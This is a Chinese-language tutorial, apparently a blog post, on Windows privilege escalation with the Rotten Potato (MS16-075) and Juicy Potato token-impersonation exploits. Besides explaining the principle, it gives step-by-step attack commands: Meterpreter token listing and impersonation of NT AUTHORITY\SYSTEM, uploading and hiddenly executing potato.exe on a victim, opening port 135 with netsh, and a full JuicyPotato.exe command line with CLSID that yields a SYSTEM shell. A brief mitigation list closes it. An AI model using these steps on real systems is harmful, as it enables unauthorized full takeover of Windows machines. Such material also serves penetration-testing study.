令牌(Token)
是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的,有了令牌就可以在不需要密码的情况下访问,伪造令牌攻击的核心是Kerheros
协议, 是一种网络认证协议,它的最大特点是随机性和不可预测性正常是无法猜解而出,生成的令牌将持续存在干系统中(除非系统重新启动)
土豆家族提权原理实际上是模拟高权限用户令牌
windows提权—烂土豆(RottenPotato)及Juicy Potato提权
烂土豆 令牌窃取MS16-075
烂土豆(Rotten Potato)提权是一个本地提权,只针对本地用户,不支持域用户,它重点是模拟令牌,我们最好已经获得了一个具有SeImpersonate
权限或其他同等权限的账户,通过烂土豆程序快速模拟用户令牌来实现权限的提升
SeImpersonate
权限是Windows
操作系统中的一种安全权限,它控制了一个进程是否有权利以另一个用户的身份执行操作。具有SeImpersonate
权限的进程可以模拟其他用户的身份,
漏洞原理
- 欺骗 “
NT AUTHORITY\SYSTEM
”账户通过NTLM认证到我们控制的TCP终端 - 对这个认证过程使用中间人攻击(NTLM重放),为
NT AUTHORITY\SYSTEM
账户本地协商一个安全令牌。这个过程是通过一系列的Windows
API调用实现的 - 模仿这个令牌。只有具有模仿安全令牌权限的账户才能去模仿别人的令牌。一般大多数的服务型账户(
IIS、MSSQL
等)有这个权限,大多数用户级的账户没有这个权限。
支持版本
Windows 7、8、10、2008、2012
检查是否具有Selmpersonate
权限,但是我计算机内是没有的
whoami / priv
whoami / all
出现这种特权才代表存在
漏洞利用
如果得到机器shell
经过上面检测操作,发现具有SeImpersonatePrivilege
权限这个必备条件后,首先列出可用令牌,会输出两种类型的令牌,存在模拟令牌就可以利用土豆程序快速模拟用户令牌来实现权限提升
Delegation Tokens
(委派令牌)是指可以被传递给其他进程的令牌Impersonation Tokens
(模拟令牌)是指可以用于模拟其他用户身份的令牌
use incognito // 加载MSF获取令牌扩展
list_tokens -u // 列出当前会话shell 可用令牌,会输出两种类型令牌
存在令牌后这个时候要把土豆程序上传到受害者磁盘下,如果前期已经有了Webshell
那么自然是可以直接在远控工具内上传,也可以选择利用MSF
上传,不选择上传路径会跟木马在同一个目录里 , 我这里是桌面上传的位置也是桌面,选择了路径那么就是指定路径
// 将本地的土豆程序potato.exe 上传到目标
upload /root/home.exe // 默认上传
upload /root/home.exe C:\目标路径\home.exe // 指定上传
上传完成MSF
命令去执行土豆提权程序,这里也是成功运行了这个进程,运行成功后查看令牌观察是否模拟成功
// execute" 是Meterpreter命令,用于在目标系统上执行命令或可执行文件
// "-cH" 是命令选项,其中:"-c" 表示将命令执行的输出显示在当前会话中。"-H" 表示以隐藏模式执行命令,即在目标系统上执行命令时不显示命令窗口。
// 执行文件地址,可以默认的可以是指定的
execute -HC -f potato.exe
生成令牌快速使用可以提权达到
// 查看令牌,在Impersonation 成功的话最后一行模拟到system的令牌
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM" // 通过命令使用
getuid // 查看权限
多汁土豆
烂土豆提权Juicypotato原理和利用 - 青澜Cyan
提权小神器-JuicyPotato多种应用场景详解 - J0o1ey
漏洞原理
1. 我们本地账户权限为普通用户,但是以System权限加载COM请求,认证NTLM,不出意外认证失败
普通用户无法越权使用System权限
2. 再以本地账户普通用户权限发起默认135端口请求认证NTLM;权限正常认证成功
3. 对上面两个认证NTLM操作数据包做拦截,将2成功数据包替换到1数据包认证,类似漏洞挖掘替换错误为True
这样步骤1通过认证,得到System权限的token
4. 利用得到的Systenm权限创建进程
Juicy Potato
实现流程
漏洞利用
利用前提是本地账户具有SeImpersonate
或SeAssignPrimaryToken
权限,必须二者有一种或者同时具备根据命令查看,不同权限工具命令参数不同,均不存在则无法提权
判断权限
whoami /all
whoami priv
----------------------------------------------------------------------
开启SeImpersonate权限 juicypotato的参数使用-t t
开启SeAssignPrimaryToken权限 juicypotato的参数使用-t u
均开启选择-t *
**均不存在无法提权**
用户具有上述权限可以做到
- 本地管理员组成员和本地服务帐户
- 由服务控制管理器启动的服务
COM
基础结构启动的并配置为在特定帐户下运行的COM
服务器
判断端口
判断发起认证的RPC
(RPC(Remote Procedure Call)远程过程调用,是一种计算机通信协议,允许一个程序调用另一个地址空间(通常是另一台机器上)的过程)判断是否还是135
如果被修改需要再次指定,Juicy Potato
支持任意本地端口
netstat -abno // 列出系统上所有的网络连接信息,包括本地地址、外部地址、状态、PID(进程ID)以及应用程序的名称
// 如果端口修改使用如下命令指定RPC新的端
-n 9999
// 如果系统禁用RPC,提权需要找到另一系统能够以当前用户的权限进行远程RPC登录,工具参数使用 -k
// Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
选择可用**CLSID
**[//]: # (CLSID在Windows操作系统中扮演着标识和定位特定对象类的重要角色)/端口
根据被提权机器操作系统选择对应的CLSID
作为标识符 ,例如测试系统Server2012,
选择CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820}
,使用对应的权限创建进程监听一个未被占用的端口进行提权
土豆文件上传根据上文上传命令即可,或者Webshell
上传; 执行成功即获取一个system
权限shell
后续就是打开任务管理器,关闭explore
任务,再开启explore
任务即可得到一个system权限的桌面
// 配置CLSID和端口后最终参数如下 端口-l指定 clsid-c指定
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})
漏洞防范
- 阻止攻击者获得
SeImpersonate
或者SeAssignPrimaryToken
权限 - 即使打好系统补丁
- 升级到最新的
windows
系统